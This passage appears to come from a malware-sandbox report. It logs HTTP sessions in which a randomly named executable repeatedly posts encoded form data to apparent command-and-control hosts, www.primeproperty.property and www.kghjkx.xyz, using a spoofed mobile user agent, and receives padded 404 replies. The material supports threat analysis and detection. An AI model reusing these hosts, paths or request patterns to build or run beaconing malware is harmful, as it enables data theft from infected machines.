Nov 7, 2024 10:51:59.052722931 CET	309	OUT	Data Raw: 2f 37 62 68 76 32 6f 38 69 49 64 54 54 64 70 54 73 50 39 58 46 64 52 42 6c 77 75 63 7a 55 52 39 74 46 74 36 6c 4f 71 79 33 33 41 74 6f 76 49 74 6a 6f 44 30 53 33 54 46 4f 54 72 41 48 47 4b 31 33 4a 6b 38 34 61 4c 34 55 44 76 32 56 4d 71 30 46 2f Data Ascii: /7bhv2o8iIdTTdpTsP9XFdRBlwuczUR9tFt6lOqy33AtovItjoD0S3TFOTrAHGK13Jk84aL4UDv2VMq0F/BVssEPVsIX4RS08xU6HSlONluDeC/8LCTsxp8qPkgtgJauomvqbHEz9XjgL5i2EGiqmPC2WsRNjSRIckrsewadPIc3pu+B0pUfr52P0u3C5F7BCWSqUbnnhUUgCj+zwbqnmmoPMRTfciEEmbaZIYWzUDOLikwtan2
Nov 7, 2024 10:52:00.149920940 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Thu, 07 Nov 2024 09:51:59 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 7, 2024 10:52:00.360078096 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Thu, 07 Nov 2024 09:51:59 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.22	49192	113.20.119.31	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:01.581459045 CET	820	OUT	POST /c1ti/ HTTP/1.1 Host: www.primeproperty.property Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.primeproperty.property Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 203 Referer: http://www.primeproperty.property/c1ti/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 5a 55 39 70 6a 4a 54 4d 7a 61 68 70 68 72 48 51 31 5a 70 47 37 63 77 54 64 31 66 66 33 66 35 44 54 62 73 46 33 65 55 71 4e 67 4e 4c 30 78 35 63 59 7a 4f 64 76 35 52 4e 73 6b 30 45 2b 58 52 30 6b 2f 48 7a 41 72 71 4c 6c 58 79 34 65 72 55 64 47 73 67 59 33 7a 6f 77 69 72 33 48 62 6b 71 50 78 70 45 5a 76 4e 36 67 71 52 37 64 70 69 32 51 72 47 44 6e 36 7a 57 55 6b 2f 42 66 49 41 6a 73 49 73 46 70 39 65 7a 46 72 33 31 49 6c 37 4e 67 76 73 73 7a 56 57 41 39 58 66 44 45 54 34 53 35 73 62 72 57 45 65 44 6c 5a 55 57 69 67 57 67 69 47 4f 6f 47 74 31 76 33 49 4a 76 46 43 36 35 52 31 51 3d 3d Data Ascii: mFptYb=ZU9pjJTMzahphrHQ1ZpG7cwTd1ff3f5DTbsF3eUqNgNL0x5cYzOdv5RNsk0E+XR0k/HzArqLlXy4erUdGsgY3zowir3HbkqPxpEZvN6gqR7dpi2QrGDn6zWUk/BfIAjsIsFp9ezFr31Il7NgvsszVWA9XfDET4S5sbrWEeDlZUWigWgiGOoGt1v3IJvFC65R1Q==
Nov 7, 2024 10:52:02.651232004 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Thu, 07 Nov 2024 09:52:02 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 7, 2024 10:52:02.859292984 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Thu, 07 Nov 2024 09:52:02 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.22	49193	113.20.119.31	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:04.123946905 CET	2472	OUT	POST /c1ti/ HTTP/1.1 Host: www.primeproperty.property Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.primeproperty.property Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 3627 Referer: http://www.primeproperty.property/c1ti/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 5a 55 39 70 6a 4a 54 4d 7a 61 68 70 75 72 33 51 79 34 70 47 2b 38 77 51 53 56 66 66 35 50 35 48 54 61 51 46 33 66 67 36 4e 53 42 4c 30 69 52 63 5a 57 36 64 6a 5a 52 4e 71 6b 30 41 77 33 52 59 6b 37 75 49 41 72 36 39 6c 56 65 34 59 4a 73 64 54 36 4d 66 2f 6a 6f 2b 30 62 33 45 62 6b 71 57 78 70 55 56 76 4e 2b 4f 71 52 6a 64 75 51 75 51 73 32 44 6b 32 54 57 55 6b 2f 42 44 49 41 6a 51 49 73 64 50 39 62 66 76 6f 42 52 49 67 72 74 67 38 62 41 30 63 32 41 78 55 66 44 61 61 4b 6e 52 6c 6f 4c 63 4f 49 37 44 45 48 36 57 71 6e 49 2f 47 39 78 4f 68 30 6a 4b 46 4f 72 4f 57 65 77 74 6e 69 6e 45 4d 62 74 51 72 4b 6d 6b 32 45 54 68 59 54 67 53 34 31 41 76 65 6e 4a 41 36 4b 54 72 57 37 66 62 31 62 55 6d 65 57 58 6f 56 56 35 4c 76 61 54 42 46 2b 4c 4d 72 36 6d 33 69 72 64 5a 31 75 2f 6b 4e 59 6e 6d 62 64 71 49 77 67 76 69 6f 57 39 78 4b 52 6e 4b 33 47 50 52 44 4c 57 76 53 37 63 41 58 55 30 77 55 59 45 6e 6a 63 6d 63 62 33 6e 36 48 37 36 6a 46 48 56 6a 64 78 6c 33 54 63 52 53 4b 4f 76 43 73 50 64 [TRUNCATED] Data Ascii: mFptYb=ZU9pjJTMzahpur3Qy4pG+8wQSVff5P5HTaQF3fg6NSBL0iRcZW6djZRNqk0Aw3RYk7uIAr69lVe4YJsdT6Mf/jo+0b3EbkqWxpUVvN+OqRjduQuQs2Dk2TWUk/BDIAjQIsdP9bfvoBRIgrtg8bA0c2AxUfDaaKnRloLcOI7DEH6WqnI/G9xOh0jKFOrOWewtninEMbtQrKmk2EThYTgS41AvenJA6KTrW7fb1bUmeWXoVV5LvaTBF+LMr6m3irdZ1u/kNYnmbdqIwgvioW9xKRnK3GPRDLWvS7cAXU0wUYEnjcmcb3n6H76jFHVjdxl3TcRSKOvCsPdp2TgN2BGvBJLKSBsjoeKescSe7GI9bZUO81PiQ0q46bJhz2py7Q9eS1nsprY+juzrFzFtVIb7tlEpcf8T1CYrg6EuMesLoi5FDlmAGZQ7hkILh0BAOW16CoA8bNb0UPE6qauI7vtfnQJjPtTDHWzfv50HBxRdXFoWv4brJA0qzJ3q2TLCiWj2Gb5Xye0+su+IvZ3kxOw4kydGnBnNWuDvQ2MiCq0M+J2yM6ywiGqoLLBEkz2y97J3SmMlOAQRKONAZuW28fWrlE4FxW0amZogy8Cr3C0WONMeviUlCvhm87Ni4T2vSL8i9wyajSL5ou8G0K0ttAKYCgWtYdnP8Haz24HDZQUaXFFCVGq/7aXoayzNUcWsqEyYUuguG7n8cFaId2XOPVo0NMkAh7N3YYe5u80h8/9z8XaQtXoQSJyJqiKew6LhOrJmL7I9e4NkmSQRnV5t8jg+1V0pgna7ONO77shviEZo+CDMbFyziCiPWDz1r/JiRZ1UxwEY0GIeb3ODBV9kDpcDxwxtv7l6BVkVDhGpif/v8sZiljQYWd4pWzJRrxTmoG0KHxk7l3VgOVFSZkd3Tf0pheFOcnzjMMbsXIuFCwN15Sg8wzYnbLH+PRLewGT6p+ZkIqGdt+b8ieRN2Jgu61rm3ta9Zx2eyxOKj9wF/uo41kPfD [TRUNCATED]
Nov 7, 2024 10:52:04.128865957 CET	1773	OUT	Data Raw: 37 34 62 68 47 6f 59 39 77 49 64 53 50 64 73 2f 38 50 38 72 46 64 54 5a 6c 7a 4a 49 7a 56 78 39 71 61 39 37 6b 4f 71 79 78 33 42 46 67 76 4b 5a 7a 6f 41 73 53 32 78 39 4f 66 35 6f 48 46 36 31 70 4a 6b 38 6d 5a 37 39 75 44 76 32 5a 4d 71 6f 46 2f Data Ascii: 74bhGoY9wIdSPds/8P8rFdTZlzJIzVx9qa97kOqyx3BFgvKZzoAsS2x9Of5oHF61pJk8mZ79uDv2ZMqoF/BFssEvVt4X7Oy0/806AZFORluDsC+hWCTIxuuiPsyFgJKuupPrXDE3VXjlf5nKLHQimO3yW6z1jXxIBpLspwaBrIYr9u/Qjqg3r4GP09l64SLBICCqTbnm2UUoGj/fgboXmmqXMTjfToUEgYaZSYW+IDOzMkw9any
Nov 7, 2024 10:52:05.191865921 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Thu, 07 Nov 2024 09:52:05 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 7, 2024 10:52:05.403481960 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Thu, 07 Nov 2024 09:52:05 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.22	49194	113.20.119.31	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:06.662502050 CET	540	OUT	GET /c1ti/?Vta=nFypuDtholF&mFptYb=UWVJg+rBkYQ16c/k/Y1W1sgQfFqH6LNVaa0x99kOYGF7jBYWQyWqo55Eiz0L22BflNyMA4mVt2TvQrx7EMMmoG9cjujHDm+244I0l/r76jr6gTXXvUDzyyGCpqIK HTTP/1.1 Host: www.primeproperty.property Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Connection: close User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36
Nov 7, 2024 10:52:07.720448971 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Thu, 07 Nov 2024 09:52:07 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
Nov 7, 2024 10:52:07.931379080 CET	717	IN	HTTP/1.1 404 Not Found Server: openresty/1.25.3.2 Date: Thu, 07 Nov 2024 09:52:07 GMT Content-Type: text/html Content-Length: 561 Connection: close Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 2f 31 2e 32 35 2e 33 2e 32 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty/1.25.3.2</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.22	49195	47.129.103.185	80	652	C:\Program Files (x86)\eWGLawkqDiAOqdkyBWluAHEihTmqqLNFDyAuJkZZhXXrFySCHcAnMJbhGo\AhEyCWkdTLz.exe

Timestamp	Bytes transferred	Direction	Data
Nov 7, 2024 10:52:13.204430103 CET	2472	OUT	POST /usop/ HTTP/1.1 Host: www.kghjkx.xyz Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Origin: http://www.kghjkx.xyz Content-Type: application/x-www-form-urlencoded Cache-Control: no-cache Connection: close Content-Length: 2163 Referer: http://www.kghjkx.xyz/usop/ User-Agent: Mozilla/5.0 (Linux; Android 4.4.2; A1040 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/30.0.0.0 Safari/537.36 Data Raw: 6d 46 70 74 59 62 3d 36 45 7a 33 30 5a 57 58 4d 55 6e 44 6d 68 67 54 35 58 57 6d 59 62 31 55 71 73 71 42 61 58 4c 66 51 34 38 52 36 32 76 63 61 5a 58 30 53 76 67 63 62 36 4c 61 63 77 46 4a 68 7a 39 62 47 65 57 67 39 73 53 34 74 6e 64 72 6b 30 63 50 65 61 44 63 54 78 73 2b 54 46 45 64 4f 4d 4f 49 57 79 6c 52 74 55 39 4c 2b 2b 56 32 4c 55 38 2b 75 36 5a 75 65 49 4e 63 77 66 4d 44 63 64 75 52 36 47 78 7a 72 4a 57 70 4d 42 46 64 37 30 71 30 45 6a 62 64 77 57 38 43 76 65 52 66 42 74 69 61 54 47 70 42 4b 6e 78 4d 62 6d 49 2b 2b 74 30 72 44 59 42 4b 41 38 71 35 74 31 69 48 51 43 62 37 37 41 45 6f 6a 59 56 65 63 38 46 6a 58 48 66 35 4f 43 57 33 2b 57 4c 6d 6c 62 64 67 64 79 30 64 4b 58 4d 53 6d 31 45 53 32 54 39 42 36 37 4c 38 63 46 75 5a 5a 4a 53 71 6d 73 33 4e 67 6d 42 4b 63 4b 78 4f 49 64 